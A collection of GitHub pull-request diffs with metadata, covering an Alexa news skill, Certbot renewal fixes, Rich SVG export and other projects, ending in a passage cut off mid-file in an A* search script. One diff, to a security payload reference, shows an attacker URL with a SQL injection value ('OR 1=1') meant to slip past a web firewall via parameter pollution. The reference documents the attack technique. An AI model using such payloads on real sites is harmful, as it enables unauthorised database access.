@@ +from flask import Flask +from flask_ask import Ask, question, statement, session +import unidecode +import json +import requests +import time + +app = Flask(__name__) +ask = Ask(app,"/reddit_reader") + +def get_headlines(): + user_pass_dict = {'user':'USERNAME', 'passwd': "PASSWORD", 'api_type':'json'} + sess = requests.Session() + sess.headers.update({'User-Agent':'I am testing Alexa: nobi'}) + sess.post("https://www.reddit.com/api/login/",data = user_pass_dict) + time.sleep(1) + url = "https://reddit.com/r/worldnews/.json?limit=10" + html = sess.get(url) + data = json.loads(html.content.decode("utf-8")) + titles = [unidecode.unidecode(listing['data']['title']) for listing in data['data']['children']] + titles = '... '.join([i for i in titles]) + return titles + +@app.route("/") +def homepage(): + return "hi there!" + +@ask.launch +def start_skill(): + welcome_message = "Hello there, would you like to hear the news?" + return question(welcome_message) + +@ask.intent("YesIntent") +def share_headlines(): + headlines = get_headlines() + headline_msg = "The current world news headlines are {}".format(headlines) + return statement(headline_msg) + +@ask.intent("NooIntent") +def no_intent(): + bye_text = "I am not sure why you then turned me on. Anyways, bye for now!" + return statement(bye_text) + +if __name__ == "__main__": + app.run(port=8000,debug=True) diff --git a/news_intent_schema.json b/news_intent_schema.json new file mode 100644 index 0000000000..527c707bb7 --- /dev/null +++ b/news_intent_schema.json @@ -0,0 +1,51 @@ +{ + "interactionModel": { + "languageModel": { + "invocationName": "reddit news", + "intents": [ + { + "name": "AMAZON.CancelIntent", + "samples": [] + }, + { + "name": "AMAZON.HelpIntent", + "samples": [] + }, + { + "name": "AMAZON.StopIntent", + "samples": [] + }, + { + "name": "AMAZON.NavigateHomeIntent", + "samples": [] + }, + { + "name": "YesIntent", + "slots": [], + "samples": [ + "start", + "sure", + "yes" + ] + }, + { + "name": "NooIntent", + "slots": [], + "samples": [ + "go away", + "no" + ] + }, + { + "name": "AMAZON.FallbackIntent", + "samples": [] + }, + { + "name": "AMAZON.NoIntent", + "samples": [] + } + ], + "types": [] + } + } +}
https://api.github.com/repos/geekcomputers/Python/pulls/557
2019-10-02T18:40:35Z
2019-10-03T11:39:58Z
2019-10-03T11:39:58Z
2019-10-03T11:39:58Z
1,848
geekcomputers/Python
31,734
Update Table
diff --git a/HTTP Parameter Pollution/README.md b/HTTP Parameter Pollution/README.md index 23c505716a..d1e3ceef76 100644 --- a/HTTP Parameter Pollution/README.md +++ b/HTTP Parameter Pollution/README.md @@ -24,22 +24,26 @@ Attacker -- http://example.com?search=Beth&search=' OR 1=1;## --> WAF (reads fir ### Table of refence for which technology reads which parameter When ?par1=a&par1=b -| Technology | Parsing Result |outcome (par1=)| -| ------------------ |--------------- |:-------------:| -| ASP.NET/IIS |All occurrences |a,b | -| ASP/IIS |All occurrences |a,b | -| PHP/Apache |Last occurrence |b | -| PHP/Zues |Last occurrence |b | -| JSP,Servlet/Tomcat |First occurrence |a | -| Perl CGI/Apache |First occurrence |a | -| Python Flask |First occurrence |a | -| Python Django |Last occurrence |b | -| Nodejs |All occurrences |a,b | -| Golang net/http - `r.URL.Query().Get("param")` |First occurrence |a | -| Golang net/http - `r.URL.Query()["param"]` |All occurrences |a,b | - +| Technology | Parsing Result |outcome (par1=)| +| ------------------ |--------------- |:-------------:| +| ASP.NET/IIS |All occurrences |a,b | +| ASP/IIS |All occurrences |a,b | +| PHP/Apache |Last occurrence |b | +| PHP/Zues |Last occurrence |b | +| JSP,Servlet/Tomcat |First occurrence |a | +| Perl CGI/Apache |First occurrence |a | +| Python Flask |First occurrence |a | +| Python Django |Last occurrence |b | +| Nodejs |All occurrences |a,b | +| Golang net/http - `r.URL.Query().Get("param")` |First occurrence |a | +| Golang net/http - `r.URL.Query()["param"]` |All occurrences |a,b | +| IBM Lotus Domino |First occurrence |a | +| IBM HTTP Server |First occurrence |a | +| Perl CGI/Apache |First occurrence |a | +| mod_wsgi (Python)/Apache |First occurrence |a | +| Python/Zope |All occurences in array |['a','b'] | ## References - [HTTP Parameter Pollution - Imperva](https://www.imperva.com/learn/application-security/http-parameter-pollution/) - [HTTP Parameter Pollution in 11 minutes | Web Hacking - PwnFunction](https://www.youtube.com/watch?v=QVZBl8yxVX0&ab_channel=PwnFunction) -- [How to Detect HTTP Parameter Pollution Attacks - Acunetix](https://www.acunetix.com/blog/whitepaper-http-parameter-pollution/) \ No newline at end of file +- [How to Detect HTTP Parameter Pollution Attacks - Acunetix](https://www.acunetix.com/blog/whitepaper-http-parameter-pollution/)
I have update the table of the techniques of HTTP Parameter Pollution. This can help them to have more references for the techniques and the passing value.
https://api.github.com/repos/swisskyrepo/PayloadsAllTheThings/pulls/406
2021-07-30T05:42:55Z
2021-07-31T09:25:45Z
2021-07-31T09:25:45Z
2021-07-31T09:25:45Z
759
swisskyrepo/PayloadsAllTheThings
8,363
Removing hard code entries
diff --git a/scrapy/utils/project.py b/scrapy/utils/project.py index ab1b8e3eea5..652b74759f3 100644 --- a/scrapy/utils/project.py +++ b/scrapy/utils/project.py @@ -12,8 +12,8 @@ def inside_project(): - scrapy_module = os.environ.get("SCRAPY_SETTINGS_MODULE") - if scrapy_module is not None: + scrapy_module = os.environ.get(ENVVAR) + if scrapy_module: try: import_module(scrapy_module) except ImportError as exc:
Just removing hard code statements
https://api.github.com/repos/scrapy/scrapy/pulls/5965
2023-07-05T07:58:50Z
2023-07-05T08:51:07Z
2023-07-05T08:51:07Z
2023-07-05T08:51:07Z
126
scrapy/scrapy
34,706
Document turning off proxy_buffering when api is streaming
diff --git a/docs/openai_api.md b/docs/openai_api.md index f69cc4f00a..0c555a60ea 100644 --- a/docs/openai_api.md +++ b/docs/openai_api.md @@ -62,7 +62,7 @@ completion = openai.ChatCompletion.create( print(completion.choices[0].message.content) ``` -Streaming is also supported. See [test_openai_api.py](../tests/test_openai_api.py). +Streaming is also supported. See [test_openai_api.py](../tests/test_openai_api.py). If your api server is behind a proxy you'll need to turn off buffering, you can do so in Nginx by setting `proxy_buffering off;` in the location block for the proxy. ### cURL cURL is another good tool for observing the output of the api.
I hit this when running the api service behind an nginx proxy. The responses were streamed as chunks but they all arrived to the browser at the some time. <!-- Thank you for your contribution! --> <!-- Please add a reviewer to the assignee section when you create a PR. If you don't have the access to it, we will shortly find a reviewer and assign them to your PR. --> ## Why are these changes needed? I'm guessing that running behind an web server proxy is a pretty standard way to add fast chat to an existing domain with SSL and mentioning it here might help someone out. <!-- Please give a short summary of the change and the problem this solves. --> Document turning of buffering when running behind a proxy. ## Related issue number (if applicable) <!-- For example: "Closes #1234" --> ## Checks - [ ] I've run `format.sh` to lint the changes in this PR. - [x] I've included any doc changes needed. - [ ] I've made sure the relevant tests are passing (if applicable).
https://api.github.com/repos/lm-sys/FastChat/pulls/2337
2023-08-30T14:39:02Z
2023-09-01T01:35:09Z
2023-09-01T01:35:09Z
2023-09-01T01:35:09Z
186
lm-sys/FastChat
41,348
Minor fixes to NL.8
diff --git a/CppCoreGuidelines.md b/CppCoreGuidelines.md index 682bd9f98..6efe83a24 100644 --- a/CppCoreGuidelines.md +++ b/CppCoreGuidelines.md @@ -12963,10 +12963,10 @@ Some conventions capitalize the first letter, some don't. ##### Note -Try to be consistent in your use of acronyms, lengths of identifiers: +Try to be consistent in your use of acronyms and lengths of identifiers: int mtbf {12}; - int mean_time_between_failor {12}; // make up your mind + int mean_time_between_failures {12}; // make up your mind ##### Enforcement
Fix typo, tabs, and grammar.
https://api.github.com/repos/isocpp/CppCoreGuidelines/pulls/389
2015-11-14T04:19:53Z
2015-11-18T21:44:01Z
2015-11-18T21:44:01Z
2015-11-18T21:44:06Z
162
isocpp/CppCoreGuidelines
16,007
Update calc_area.py
diff --git a/calc_area.py b/calc_area.py index 4d4050a6c2..6a51627439 100644 --- a/calc_area.py +++ b/calc_area.py @@ -1,19 +1,42 @@ # Author: PrajaktaSathe # Program to calculate the area of - square, rectangle, circle, and triangle - -shape = int(input("Enter 1 for square, 2 for rectangle, 3 for circle, or 4 for triangle: ")) -if shape == 1: - side = float(input("Enter length of side: ")) - print("Area of square = " + str(side**2)) -elif shape == 2: - l = float(input("Enter length: ")) - b = float(input("Enter breadth: ")) - print("Area of rectangle = " + str(l*b)) -elif shape == 3: - r = float(input("Enter radius: ")) - print("Area of circle = " + str(3.14*r*r)) -elif shape == 4: - base = float(input("Enter base: ")) - h = float(input("Enter height: ")) - print("Area of rectangle = " + str(0.5*base*h)) -else: - print("You have selected wrong choice.") \ No newline at end of file +import math as m + +def main(): + shape = int(input("Enter 1 for square, 2 for rectangle, 3 for circle, 4 for triangle, 5 for cylinder, 6 for cone, or 7 for sphere: ")) + if shape == 1: + side = float(input("Enter length of side: ")) + print("Area of square = " + str(side**2)) + elif shape == 2: + l = float(input("Enter length: ")) + b = float(input("Enter breadth: ")) + print("Area of rectangle = " + str(l*b)) + elif shape == 3: + r = float(input("Enter radius: ")) + print("Area of circle = " + str(m.pi*r*r)) + elif shape == 4: + base = float(input("Enter base: ")) + h = float(input("Enter height: ")) + print("Area of rectangle = " + str(0.5*base*h)) + elif shape == 5: + r = float(input("Enter radius: ")) + h = float(input("Enter height: ")) + print("Area of cylinder = " + str(m.pow(r, 2)*h*m.pi)) + elif shape == 6: + r = float(input("Enter radius: ")) + h = float(input("Enter height: ")) + print("Area of cone = " + str(m.pow(r, 2)*h*1/3*m.pi)) + elif shape == 7: + r = float(input("Enter radius: ")) + print("Area of sphere = " + str(m.pow(r, 3)*4/3*m.pi)) + else: + print("You have selected wrong choice.") + + restart = input("Would you like to calculate the area of another object? Y/N : ") + + if restart.lower().startswith("y"): + main() + elif restart.lower().startswith("n"): + quit() + +main()
Adds 3 more (3d) shapes, instead of just multiplying by 3.14 I changed it to pi, and I also added an option to run the program again.
https://api.github.com/repos/geekcomputers/Python/pulls/1339
2021-06-29T22:37:01Z
2021-07-10T10:10:45Z
2021-07-10T10:10:45Z
2021-07-10T10:10:45Z
736
geekcomputers/Python
31,872
Fix typo
diff --git a/httpie/core.py b/httpie/core.py index 31e5c48bdc..6caf9f2a53 100644 --- a/httpie/core.py +++ b/httpie/core.py @@ -61,7 +61,7 @@ def print_debug_info(env): def decode_args(args, stdin_encoding): """ - Convert all bytes ags to str + Convert all bytes args to str by decoding them using stdin encoding. """
https://api.github.com/repos/httpie/cli/pulls/494
2016-07-27T00:54:46Z
2017-02-07T19:50:44Z
2017-02-07T19:50:44Z
2017-02-07T19:50:47Z
107
httpie/cli
33,874
Fix typo.
diff --git a/CppCoreGuidelines.md b/CppCoreGuidelines.md index fb9441904..49a669950 100644 --- a/CppCoreGuidelines.md +++ b/CppCoreGuidelines.md @@ -2062,7 +2062,7 @@ When I call `length(s)` should I test for `s==nullptr` first? Should the impleme **Exception**: Sinks (that is, a function that eventually destroys an object or passes it along to another sink), may benefit ??? **Note**: A reference may be assumed to refer to a valid object (language rule). -There in no (legitimate) "null reference." +There is no (legitimate) "null reference." If you need the notion of an optional value, use a pointer, `std::optional`, or a special value used to denote "no value." **Enforcement**:
https://api.github.com/repos/isocpp/CppCoreGuidelines/pulls/199
2015-09-28T17:23:25Z
2015-09-29T06:56:03Z
2015-09-29T06:56:03Z
2015-09-30T17:04:15Z
194
isocpp/CppCoreGuidelines
15,822
[Tensor] test parameters() as member function
diff --git a/tests/test_tensor/test_model.py b/tests/test_tensor/test_model.py index 80029eabd20e..7385d603aaa7 100644 --- a/tests/test_tensor/test_model.py +++ b/tests/test_tensor/test_model.py @@ -27,6 +27,35 @@ def set_seed(seed): torch.backends.cudnn.deterministic = True +# Test the overrided parameters() and named_parameters() member functions +def test_model_parameters(): + # build a module with 2 Linear, 4 parameters in total. + class Net(torch.nn.Module): + + def __init__(self): + super().__init__() + self.fcs = torch.nn.Sequential(torch.nn.Linear(2, 3), torch.nn.Linear(3, 2)) + self.extra_param = torch.nn.Parameter(torch.randn(2)) + + with ColoInitContext(device=get_current_device()): + model = Net() + + param_cnt = 0 + for name, p in model.named_parameters(): + param_cnt += 1 + assert param_cnt == 5 + + param_cnt = 0 + for name, p in model.named_parameters(recurse=False): + param_cnt += 1 + assert param_cnt == 1 + + param_cnt = 0 + for p in model.fcs[0].parameters(recurse=False): + param_cnt += 1 + assert param_cnt == 2 + + def run_1d_row_tp(): # A simple net with two stacked nn.Linear get_components_func = non_distributed_component_funcs.get_callable('simple_net') @@ -108,4 +137,5 @@ def test_simple_net(world_size): if __name__ == '__main__': - test_simple_net() + # test_simple_net() + test_model_parameters()
https://api.github.com/repos/hpcaitech/ColossalAI/pulls/896
2022-04-28T02:45:50Z
2022-04-28T02:57:14Z
2022-04-28T02:57:14Z
2022-04-28T02:57:14Z
407
hpcaitech/ColossalAI
11,708
Firefox fixes for SVG
diff --git a/CHANGELOG.md b/CHANGELOG.md index bbd0167c3..19033811b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,16 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [12.4.2] - 2022-05-23 + +### Fixed + +- Fix for SVG on Firefox + +### Changed + +- Removed excess margin from SVG, tweaked cell sizes to better render block characters + ## [12.4.1] - 2022-05-08 ### Fixed diff --git a/pyproject.toml b/pyproject.toml index 71f4e9ac6..eca3f240b 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -2,7 +2,7 @@ name = "rich" homepage = "https://github.com/willmcgugan/rich" documentation = "https://rich.readthedocs.io/en/latest/" -version = "12.4.1" +version = "12.4.2" description = "Render rich text, tables, progress bars, syntax highlighting, markdown and more to the terminal" authors = ["Will McGugan <willmcgugan@gmail.com>"] license = "MIT" diff --git a/rich/_export_format.py b/rich/_export_format.py index 32aa71c91..d469bac26 100644 --- a/rich/_export_format.py +++ b/rich/_export_format.py @@ -50,7 +50,6 @@ .{unique_id}-title {{ font-size: 18px; - font-weight: bold; font-family: arial; }} @@ -60,7 +59,9 @@ {chrome} <g transform="translate({terminal_x}, {terminal_y})"> {backgrounds} - <text alignment-baseline="baseline" class="{unique_id}-matrix" font-variant="east-asian-width-values">{matrix}</text> + <g class="{unique_id}-matrix"> + {matrix} + </g> </g> </svg> """ diff --git a/rich/console.py b/rich/console.py index 2159d3c17..2f42b71a9 100644 --- a/rich/console.py +++ b/rich/console.py @@ -2282,18 +2282,18 @@ def get_svg_style(style: Style) -> str: width = self.width char_height = 20 - char_width = char_height * 0.62 - line_height = char_height * 1.32 + char_width = char_height * 0.61 + line_height = char_height * 1.22 - margin_top = 20 - margin_right = 16 - margin_bottom = 20 - margin_left = 16 + margin_top = 1 + margin_right = 1 + margin_bottom = 1 + margin_left = 1 padding_top = 40 - padding_right = 12 + padding_right = 8 padding_bottom = 12 - padding_left = 12 + padding_left = 8 padding_width = padding_left + padding_right padding_height = padding_top + padding_bottom @@ -2385,16 +2385,18 @@ def stringify(value: object) -> str: height=line_height + 1, ) ) - text_group.append( - make_tag( - "tspan", - escape_text(text), - _class=f"{unique_id}-{class_name}", - x=x * char_width, - y=y * line_height + char_height, - textLength=char_width * len(text), + + if text != " " * len(text): + text_group.append( + make_tag( + "text", + escape_text(text), + _class=f"{unique_id}-{class_name}", + x=x * char_width, + y=y * line_height + char_height, + textLength=char_width * len(text), + ) ) - ) x += cell_len(text) styles = "\n".join( @@ -2421,7 +2423,7 @@ def stringify(value: object) -> str: if title: chrome += make_tag( "text", - title, + escape_text(title), _class=f"{unique_id}-title", fill=title_color, text_anchor="middle", @@ -2429,9 +2431,11 @@ def stringify(value: object) -> str: y=margin_top + char_height + 6, ) chrome += f""" - <circle cx="40" cy="40" r="7" fill="#ff5f57"/> - <circle cx="62" cy="40" r="7" fill="#febc2e"/> - <circle cx="84" cy="40" r="7" fill="#28c840"/> + <g transform="translate(30,24)"> + <circle cx="0" cy="0" r="7" fill="#ff5f57"/> + <circle cx="22" cy="0" r="7" fill="#febc2e"/> + <circle cx="44" cy="0" r="7" fill="#28c840"/> + </g> """ svg = code_format.format( diff --git a/tests/test_console.py b/tests/test_console.py index 007cd2810..35f3cbf3c 100644 --- a/tests/test_console.py +++ b/tests/test_console.py @@ -494,7 +494,7 @@ def test_export_html_inline(): assert html == expected -EXPECTED_SVG = '<svg class="rich-terminal" viewBox="0 0 1296 118.4" xmlns="http://www.w3.org/2000/svg">\n <!-- Generated with Rich https://www.textualize.io -->\n <style>\n\n @font-face {\n font-family: "Fira Code";\n src: local("FiraCode-Regular"),\n url("https://cdnjs.cloudflare.com/ajax/libs/firacode/6.2.0/woff2/FiraCode-Regular.woff2") format("woff2"),\n url("https://cdnjs.cloudflare.com/ajax/libs/firacode/6.2.0/woff/FiraCode-Regular.woff") format("woff");\n font-style: normal;\n font-weight: 400;\n }\n @font-face {\n font-family: "Fira Code";\n src: local("FiraCode-Bold"),\n url("https://cdnjs.cloudflare.com/ajax/libs/firacode/6.2.0/woff2/FiraCode-Bold.woff2") format("woff2"),\n url("https://cdnjs.cloudflare.com/ajax/libs/firacode/6.2.0/woff/FiraCode-Bold.woff") format("woff");\n font-style: bold;\n font-weight: 700;\n }\n\n .terminal-614794459-matrix {\n font-family: Fira Code, monospace;\n font-size: 20px;\n line-height: 26.400000000000002px;\n font-variant-east-asian: full-width;\n }\n\n .terminal-614794459-title {\n font-size: 18px;\n\n font-weight: bold;\n font-family: arial;\n }\n\n .terminal-614794459-r1 { fill: #608ab1;font-weight: bold }\n.terminal-614794459-r2 { fill: #c5c8c6 }\n </style>\n <rect fill="#292929" stroke="rgba(255,255,255,0.35)" stroke-width="1" x="16" y="20" width="1264" height="78.4" rx="12"/><text class="terminal-614794459-title" fill="#c5c8c6" text-anchor="middle" x="632" y="46">Rich</text>\n <circle cx="40" cy="40" r="7" fill="#ff5f57"/>\n <circle cx="62" cy="40" r="7" fill="#febc2e"/>\n <circle cx="84" cy="40" r="7" fill="#28c840"/>\n \n <g transform="translate(28, 60)">\n <rect fill="#cc555a" x="0" y="0" width="38.2" height="27.4"/>\n <text alignment-baseline="baseline" class="terminal-614794459-matrix" font-variant="east-asian-width-values"><tspan class="terminal-614794459-r1" x="0" y="20" textLength="37.2">foo</tspan><tspan class="terminal-614794459-r2" x="37.2" y="20" textLength="12.4">&#160;</tspan><tspan class="terminal-614794459-r2" x="49.6" y="20" textLength="62">Click</tspan><tspan class="terminal-614794459-r2" x="111.6" y="20" textLength="1128.4">&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;</tspan><tspan class="terminal-614794459-r2" x="1240" y="20" textLength="12.4">\n</tspan></text>\n </g>\n</svg>\n' +EXPECTED_SVG = '<svg class="rich-terminal" viewBox="0 0 1238 78.4" xmlns="http://www.w3.org/2000/svg">\n <!-- Generated with Rich https://www.textualize.io -->\n <style>\n\n @font-face {\n font-family: "Fira Code";\n src: local("FiraCode-Regular"),\n url("https://cdnjs.cloudflare.com/ajax/libs/firacode/6.2.0/woff2/FiraCode-Regular.woff2") format("woff2"),\n url("https://cdnjs.cloudflare.com/ajax/libs/firacode/6.2.0/woff/FiraCode-Regular.woff") format("woff");\n font-style: normal;\n font-weight: 400;\n }\n @font-face {\n font-family: "Fira Code";\n src: local("FiraCode-Bold"),\n url("https://cdnjs.cloudflare.com/ajax/libs/firacode/6.2.0/woff2/FiraCode-Bold.woff2") format("woff2"),\n url("https://cdnjs.cloudflare.com/ajax/libs/firacode/6.2.0/woff/FiraCode-Bold.woff") format("woff");\n font-style: bold;\n font-weight: 700;\n }\n\n .terminal-614794459-matrix {\n font-family: Fira Code, monospace;\n font-size: 20px;\n line-height: 24.4px;\n font-variant-east-asian: full-width;\n }\n\n .terminal-614794459-title {\n font-size: 18px;\n font-weight: bold;\n font-family: arial;\n }\n\n .terminal-614794459-r1 { fill: #608ab1;font-weight: bold }\n.terminal-614794459-r2 { fill: #c5c8c6 }\n </style>\n <rect fill="#292929" stroke="rgba(255,255,255,0.35)" stroke-width="1" x="1" y="1" width="1236" height="76.4" rx="12"/><text class="terminal-614794459-title" fill="#c5c8c6" text-anchor="middle" x="618" y="27">Rich</text>\n <g transform="translate(30,24)">\n <circle cx="0" cy="0" r="7" fill="#ff5f57"/>\n <circle cx="22" cy="0" r="7" fill="#febc2e"/>\n <circle cx="44" cy="0" r="7" fill="#28c840"/>\n </g>\n \n <g transform="translate(9, 41)">\n <rect fill="#cc555a" x="0" y="0" width="37.6" height="25.4"/>\n <g class="terminal-614794459-matrix">\n <text class="terminal-614794459-r1" x="0" y="20" textLength="36.6">foo</text><text class="terminal-614794459-r2" x="48.8" y="20" textLength="61">Click</text><text class="terminal-614794459-r2" x="1220" y="20" textLength="12.2">\n</text>\n </g>\n </g>\n</svg>\n' def test_export_svg():
https://api.github.com/repos/Textualize/rich/pulls/2288
2022-05-23T08:43:43Z
2022-05-23T08:57:28Z
2022-05-23T08:57:28Z
2022-05-24T20:17:08Z
3,182
Textualize/rich
48,087
Avoid to delete both webroot_map and webroot_path
diff --git a/CHANGELOG.md b/CHANGELOG.md index 3cc3ff41f1f..8669d34a50f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -16,12 +16,14 @@ Certbot adheres to [Semantic Versioning](https://semver.org/). ### Fixed -* +* Renewal parameter `webroot_path` is always saved, avoiding some regressions + when `webroot` authenticator plugin is invoked with no challenge to perform. Despite us having broken lockstep, we are continuing to release new versions of all Certbot components during releases for the time being, however, the only package with changes other than its version number was: +* certbot * certbot-dns-rfc2136 More details about these changes can be found on our GitHub repo. diff --git a/certbot/plugins/webroot_test.py b/certbot/plugins/webroot_test.py index 3a902b91fa3..bca1045d8fe 100644 --- a/certbot/plugins/webroot_test.py +++ b/certbot/plugins/webroot_test.py @@ -295,6 +295,19 @@ def test_multiwebroot(self): self.assertEqual( config.webroot_map[self.achall.domain], self.path) + def test_webroot_map_partial_without_perform(self): + # This test acknowledges the fact that webroot_map content will be partial if webroot + # plugin perform method is not invoked (corner case when all auths are already valid). + # To not be a problem, the webroot_path must always been conserved during renew. + # This condition is challenged by: + # certbot.tests.renewal_tests::RenewalTest::test_webroot_params_conservation + # See https://github.com/certbot/certbot/pull/7095 for details. + other_webroot_path = tempfile.mkdtemp() + args = self.parser.parse_args("-w {0} -d {1} -w {2} -d bar".format( + self.path, self.achall.domain, other_webroot_path).split()) + self.assertEqual(args.webroot_map, {self.achall.domain: self.path}) + self.assertEqual(args.webroot_path, [self.path, other_webroot_path]) + def _get_config_after_perform(self, config): from certbot.plugins.webroot import Authenticator auth = Authenticator(config, "webroot") diff --git a/certbot/renewal.py b/certbot/renewal.py index f932269b68b..4b4a5a08204 100644 --- a/certbot/renewal.py +++ b/certbot/renewal.py @@ -106,11 +106,11 @@ def _restore_webroot_config(config, renewalparams): restoring logic is not able to correctly parse it from the serialized form. """ - if "webroot_map" in renewalparams: - if not cli.set_by_cli("webroot_map"): - config.webroot_map = renewalparams["webroot_map"] - elif "webroot_path" in renewalparams: - logger.debug("Ancient renewal conf file without webroot-map, restoring webroot-path") + if "webroot_map" in renewalparams and not cli.set_by_cli("webroot_map"): + config.webroot_map = renewalparams["webroot_map"] + # To understand why webroot_path and webroot_map processing are not mutually exclusive, + # see https://github.com/certbot/certbot/pull/7095 + if "webroot_path" in renewalparams and not cli.set_by_cli("webroot_path"): wp = renewalparams["webroot_path"] if isinstance(wp, six.string_types): # prior to 0.1.0, webroot_path was a string wp = [wp] diff --git a/certbot/tests/renewal_test.py b/certbot/tests/renewal_test.py index dac585239dc..e33869e13ea 100644 --- a/certbot/tests/renewal_test.py +++ b/certbot/tests/renewal_test.py @@ -28,6 +28,29 @@ def test_ancient_webroot_renewal_conf(self, mock_set_by_cli): renewal._restore_webroot_config(config, renewalparams) self.assertEqual(config.webroot_path, ['/var/www/']) + @mock.patch('certbot.renewal.cli.set_by_cli') + def test_webroot_params_conservation(self, mock_set_by_cli): + # For more details about why this test is important, see: + # certbot.plugins.webroot_test::WebrootActionTest::test_webroot_map_partial_without_perform + from certbot import renewal + mock_set_by_cli.return_value = False + + renewalparams = { + 'webroot_map': {'test.example.com': '/var/www/test'}, + 'webroot_path': ['/var/www/test', '/var/www/other'], + } + renewal._restore_webroot_config(self.config, renewalparams) # pylint: disable=protected-access + self.assertEqual(self.config.webroot_map, {'test.example.com': '/var/www/test'}) + self.assertEqual(self.config.webroot_path, ['/var/www/test', '/var/www/other']) + + renewalparams = { + 'webroot_map': {}, + 'webroot_path': '/var/www/test', + } + renewal._restore_webroot_config(self.config, renewalparams) # pylint: disable=protected-access + self.assertEqual(self.config.webroot_map, {}) + self.assertEqual(self.config.webroot_path, ['/var/www/test']) + class RestoreRequiredConfigElementsTest(test_util.ConfigTestCase): """Tests for certbot.renewal.restore_required_config_elements.""" @@ -89,5 +112,6 @@ def test_must_staple_failure(self, mock_set_by_cli): self.assertRaises( errors.Error, self._call, self.config, renewalparams) + if __name__ == "__main__": unittest.main() # pragma: no cover
Fixes #7048. This PR "partially" correct #7048. By "partially" here, I mean that the issue is effectively corrected, but not revert to the previous behavior, as this would require more in-depth modifications of the plugins API and behavior. The idea is that in the specific corner case where `certbot certonly` is invoked two times using `webroot` plugin in a row for a given domain, the second call does not in fact perform a new challenge, but instead reuse the still valid authorization from ACME server. Indeed, authorizations remain valid for a couple of time. However, this means that the `perform` method of `webroot` here is not invoked. But this method contains some logic to fill the `webroot_map` values in the renewal configuration file, that is not invoked then. If it is not invoked, it means that the last value in `webroot_path` is not associated to the given domains that are not already in `webroot_map`. In particular, this means in the case of a single provided domain that the webroot_map is empty `{}`. Here it becomes tricky. If we invoke `certbot renew` after that, the method `_restore_webroot_config` is puzzled: it sees that a `webroot_map` is set, and so save its empty value. Then it does not copy `webroot_path`, as there was a value for `webroot_map`, and `webroot_path` is itself a corner case from ancient values ... Finally, we just lost both `webroot_path` values and `webroot_map`, and the renewal configuration is broken from now on. In the case of more than one given domain, this broken behavior leads to at least one missing association webroot -> domain in the `webmap_root`. This PR fixes that by copying the `webroot_path` value if it exists and not explicitly set by CLI. With this, even if `webroot_map` is lost, the renewal configuration remains functional with `webroot_path` using the latest value in it for all missing domains in `webroot_map`, and matches functionally the previous behavior, even if the renewal configuration file remains impacted. I pass the lool to @bmw.
https://api.github.com/repos/certbot/certbot/pulls/7095
2019-05-21T20:44:48Z
2019-05-28T22:16:13Z
2019-05-28T22:16:13Z
2019-05-28T22:16:21Z
1,351
certbot/certbot
2,357
tomli: Don't worry about specific alpha releases
diff --git a/CHANGES.md b/CHANGES.md index 50c0f5df05..f786f1a1fe 100644 --- a/CHANGES.md +++ b/CHANGES.md @@ -35,6 +35,9 @@ - Upgrade mypyc from `0.971` to `0.991` so mypycified _Black_ can be built on armv7 (#3380) +- Drop specific support for the `tomli` requirement on 3.11 alpha releases, working + around a bug that would cause the requirement not to be installed on any non-final + Python releases (#3448) ### Parser diff --git a/pyproject.toml b/pyproject.toml index aede497e2a..ab38908ba1 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -67,7 +67,7 @@ dependencies = [ "mypy_extensions>=0.4.3", "pathspec>=0.9.0", "platformdirs>=2", - "tomli>=1.1.0; python_full_version < '3.11.0a7'", + "tomli>=1.1.0; python_version < '3.11'", "typed-ast>=1.4.2; python_version < '3.8' and implementation_name == 'cpython'", "typing_extensions>=3.10.0.0; python_version < '3.10'", ]
This prevents bugs due to pypa/packaging#522. Fixes #3447.
https://api.github.com/repos/psf/black/pulls/3448
2022-12-17T18:36:39Z
2022-12-18T03:02:01Z
2022-12-18T03:02:01Z
2022-12-18T03:02:04Z
334
psf/black
23,800
Added Multi Heuristic Astar
diff --git a/Multi_Hueristic_Astar.py b/Multi_Hueristic_Astar.py new file mode 100644 index 000000000000..03652d35ae2f --- /dev/null +++ b/Multi_Hueristic_Astar.py @@ -0,0 +1,262 @@ +import heapq +import numpy as np +import math +import copy + + +class PriorityQueue: + def __init__(self): + self.elements = [] + self.set = set() + + def minkey(self): + if not self.empty(): + return self.elements[0][0] + else: + return float('inf') + + def empty(self): + return len(self.elements) == 0 + + def put(self, item, priority): + if item not in self.set: + heapq.heappush(self.elements, (priority, item)) + self.set.add(item) + else: + # update + # print("update", item) + temp = [] + (pri, x) = heapq.heappop(self.elements) + while x != item: + temp.append((pri, x)) + (pri, x) = heapq.heappop(self.elements) + temp.append((priority, item)) + for (pro, xxx) in temp: + heapq.heappush(self.elements, (pro, xxx)) + + def remove_element(self, item): + if item in self.set: + self.set.remove(item) + temp = [] + (pro, x) = heapq.heappop(self.elements) + while x != item: + temp.append((pro, x)) + (pro, x) = heapq.heappop(self.elements) + for (prito, yyy) in temp: + heapq.heappush(self.elements, (prito, yyy)) + + def top_show(self): + return self.elements[0][1] + + def get(self): + (priority, item) = heapq.heappop(self.elements) + self.set.remove(item) + return (priority, item) + +def consistent_hueristic(P, goal): + # euclidean distance + a = np.array(P) + b = np.array(goal) + return np.linalg.norm(a - b) + +def hueristic_2(P, goal): + # integer division by time variable + return consistent_hueristic(P, goal) // t + +def hueristic_1(P, goal): + # manhattan distance + return abs(P[0] - goal[0]) + abs(P[1] - goal[1]) + +def key(start, i, goal, g_function): + ans = g_function[start] + W1 * hueristics[i](start, goal) + return ans + +def do_something(back_pointer, 